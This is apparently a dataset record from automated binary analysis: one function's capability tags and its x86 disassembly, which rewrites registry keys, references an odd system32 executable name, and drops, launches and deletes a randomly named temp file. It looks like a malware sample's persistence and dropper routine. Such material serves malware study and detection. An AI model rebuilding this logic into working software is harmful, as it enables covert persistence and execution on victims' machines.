Function at 0x98328
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a8
push ebx
xor ebx, ebx
mov dword [ebp - 0xc], ebx
call fcn.00097dd6
test eax, eax
je 0x98348
xor eax, eax
inc eax
jmp 0x9877b
push esi
push edi
call fcn.00096ec3
mov esi, 0xa22f8
test eax, eax
jne 0x9846b
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x180]
push eax
push ebx
push ebx
push 0xa0264
call fcn.000973ff
add esp, 0x14
test eax, eax
jle 0x98464
cmp byte [ebp - 0x180], bl
je 0x98464
cmp byte [ebp - 0x38], bl
je 0x98464
lea eax, [ebp - 0x180]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x9839c
sub eax, edx
lea eax, [ebp + eax - 0x181]
cmp byte [eax], 0x5c
jne 0x983b3
mov byte [eax], bl
cmp byte [0xa2159], 0x60
jb 0x98450
push 4
pop edi
lea eax, [ebp - 8]
push eax
push 0x103
push ebx
push 0xc8
push 0xe4
push 0x35
push 0xa0710
push esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], edi
call fcn.00092544
add esp, 0x14
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x98450
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0x180]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x9842d
cmp dword [ebp - 0x18], edi
jne 0x9842d
cmp dword [ebp - 0xc], edi
jne 0x9842d
cmp dword [ebp - 4], ebx
je 0x98447
push edi
lea eax, [ebp - 4]
push eax
push edi
push ebx
lea eax, [ebp - 0x180]
push eax
push dword [ebp - 8]
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push ebx
push esi
call fcn.0009ee2a
add esp, 0xc
jmp 0x985c2
xor eax, eax
jmp 0x98779
mov dword [ebp - 4], ebx
cmp dword [0xa2c3c], ebx
je 0x985c2
cmp dword [0xa2c38], ebx
je 0x985c2
lea eax, [ebp - 8]
push eax
push 0x101
push ebx
push 0xc8
push 0xe4
push 0x2e
push 0xa06ac
push esi
call fcn.00092544
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0x14
push eax
push 0x80000001
call edi
test eax, eax
jne 0x98543
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x18]
push eax
push ebx
push dword [0xa2c38]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x98521
cmp dword [ebp - 0x18], 1
jne 0x98521
cmp dword [ebp - 0xc], ebx
jbe 0x98521
push dword [ebp - 0xc]
call fcn.0009ebcc
pop ecx
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x98521
lea ecx, [ebp - 0xc]
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push dword [0xa2c38]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x98521
push dword [ebp - 4]
call fcn.0009ec2e
pop ecx
mov dword [ebp - 4], ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 4], ebx
je 0x98543
push dword [0xa2c3c]
push dword [ebp - 4]
call fcn.0009eed1
pop ecx
pop ecx
test eax, eax
je 0x985a5
lea eax, [ebp - 8]
push eax
push 0x103
push ebx
push 0xc8
push 0xe4
push 0x2e
push 0xa06ac
push esi
call fcn.00092544
add esp, 0x14
push eax
push 0x80000001
call edi
test eax, eax
jne 0x985a5
mov edi, dword [0xa2c3c]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x9857e
sub eax, ecx
inc eax
push eax
push edi
push 1
push ebx
push dword [0xa2c38]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push ebx
push esi
call fcn.0009ee2a
add esp, 0xc
cmp dword [ebp - 4], ebx
je 0x985c2
push dword [ebp - 4]
call fcn.0009ec2e
pop ecx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ebx
cmp byte [str.C:WINDOWS_system32wzjurggnybuffopp.exe], bl
je 0x98615
push ebx
lea eax, [ebp - 0x10]
push eax
push str.C:WINDOWS_system32wzjurggnybuffopp.exe
call fcn.0009675c
add esp, 0xc
mov dword [ebp - 4], eax
cmp byte [str.C:WINDOWS_system32wzjurggnybuffopp.exe], bl
je 0x98615
cmp eax, ebx
je 0x98615
mov eax, dword [ebp - 0x10]
cmp eax, dword [0xa21a4]
jne 0x98615
push ebx
push eax
push dword [ebp - 4]
call fcn.000924c2
add esp, 0xc
cmp dword [0xa22d4], eax
je 0x98768
mov edi, 0xa2cd8
cmp byte [0xa2cd8], bl
jne 0x986a7
push edi
push 0x12c
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push edi
call fcn.00098274
pop ecx
mov dword [ebp - 0x14], eax
call fcn.0009eca5
and eax, 3
add eax, 5
mov dword [ebp - 0x10], eax
cmp eax, ebx
jle 0x98671
call fcn.0009eca5
xor edx, edx
push 0x1a
pop ecx
div ecx
mov eax, dword [ebp - 0x14]
add dl, 0x61
inc dword [ebp - 0x14]
dec dword [ebp - 0x10]
mov byte [eax + 0xa2cd8], dl
cmp dword [ebp - 0x10], ebx
jg 0x9864e
push 0xc8
push 0xe4
push 5
push 0xa0694
push esi
call fcn.00092544
push eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + 0xa2cd8]
push eax
call fcn.0009ef00
push 0x100
push ebx
push esi
call fcn.0009ee2a
add esp, 0x28
push edi
call fcn.00096ba7
pop ecx
test eax, eax
je 0x98762
call fcn.00097e2f
test eax, eax
jne 0x9875b
push 0x44
pop esi
push esi
lea eax, [ebp - 0x7c]
push ebx
push eax
call fcn.0009ee2a
push 0x10
lea eax, [ebp - 0x28]
push ebx
push eax
mov dword [ebp - 0x7c], esi
call fcn.0009ee2a
add esp, 0x18
push edi
lea eax, [ebp - 0x1a7]
push eax
mov byte [ebp - 0x1a8], 0x22
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x1a8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [ebp + eax - 0x1a8], 0x22
mov byte [ebp + eax - 0x1a7], bl
call fcn.00097fcf
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x1a8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x9874f
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x28]
call esi
jmp 0x98768
call fcn.00097ee6
push ebx
call fcn.00097ead
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [0xa2cd8], bl
cmp dword [ebp - 4], ebx
je 0x98776
push dword [ebp - 4]
call fcn.0009ec2e
pop ecx
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret